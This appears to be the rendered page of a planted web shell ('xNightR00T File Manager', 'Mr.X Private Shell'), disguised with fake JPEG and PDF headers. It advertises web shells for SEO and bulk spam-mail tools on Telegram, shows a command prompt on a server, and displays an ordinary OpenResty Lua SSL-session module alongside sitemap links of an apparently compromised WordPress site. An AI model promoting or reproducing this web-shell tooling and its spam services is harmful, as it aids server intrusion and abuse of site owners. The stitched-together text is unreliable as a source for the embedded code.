xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
-- Copyright (C) Yichun Zhang (agentzh)


local base = require "resty.core.base"
base.allows_subsystem('http')


local ffi = require "ffi"
local C = ffi.C
local ffi_str = ffi.string
local get_request = base.get_request
local error = error
local errmsg = base.get_errmsg_ptr()
local get_string_buf = base.get_string_buf
local FFI_ERROR = base.FFI_ERROR


ffi.cdef[[
int ngx_http_lua_ffi_ssl_set_serialized_session(ngx_http_request_t *r,
    const unsigned char *buf, int len, char **err);

int ngx_http_lua_ffi_ssl_get_serialized_session(ngx_http_request_t *r,
    char *buf, char **err);

int ngx_http_lua_ffi_ssl_get_session_id(ngx_http_request_t *r,
    char *buf, char **err);

int ngx_http_lua_ffi_ssl_get_serialized_session_size(ngx_http_request_t *r,
    char **err);

int ngx_http_lua_ffi_ssl_get_session_id_size(ngx_http_request_t *r,
    char **err);
]]


local _M = { version = base.version }


-- return session, err
function _M.get_serialized_session()
    local r = get_request()
    if not r then
        error("no request found")
    end

    local len = C.ngx_http_lua_ffi_ssl_get_serialized_session_size(r, errmsg)

    if len < 0 then
        return nil, ffi_str(errmsg[0])
    end

    if len > 4096 then
         return nil, "session too big to serialize"
    end
    local buf = get_string_buf(len)

    local rc = C.ngx_http_lua_ffi_ssl_get_serialized_session(r, buf, errmsg)

    if rc == FFI_ERROR then
         return nil, ffi_str(errmsg[0])
    end

    return ffi_str(buf, len)
end


-- return session_id, err
function _M.get_session_id()
    local r = get_request()
    if not r then
        error("no request found")
    end

    local len = C.ngx_http_lua_ffi_ssl_get_session_id_size(r, errmsg)

    if len < 0 then
        return nil, ffi_str(errmsg[0])
    end

    local buf = get_string_buf(len)

    local rc = C.ngx_http_lua_ffi_ssl_get_session_id(r, buf, errmsg)

    if rc == FFI_ERROR then
        return nil, ffi_str(errmsg[0])
    end

    return ffi_str(buf, len)
end


-- return ok, err
function _M.set_serialized_session(sess)
    local r = get_request()
    if not r then
        error("no request found")
    end

    local rc = C.ngx_http_lua_ffi_ssl_set_serialized_session(r, sess, #sess,
                                                             errmsg)
    if rc == FFI_ERROR then
        return nil, ffi_str(errmsg[0])
    end

    return true
end


return _M

Filemanager

Name Type Size Permission Actions
session.lua File 2.36 KB 0644
session.md File 9.82 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml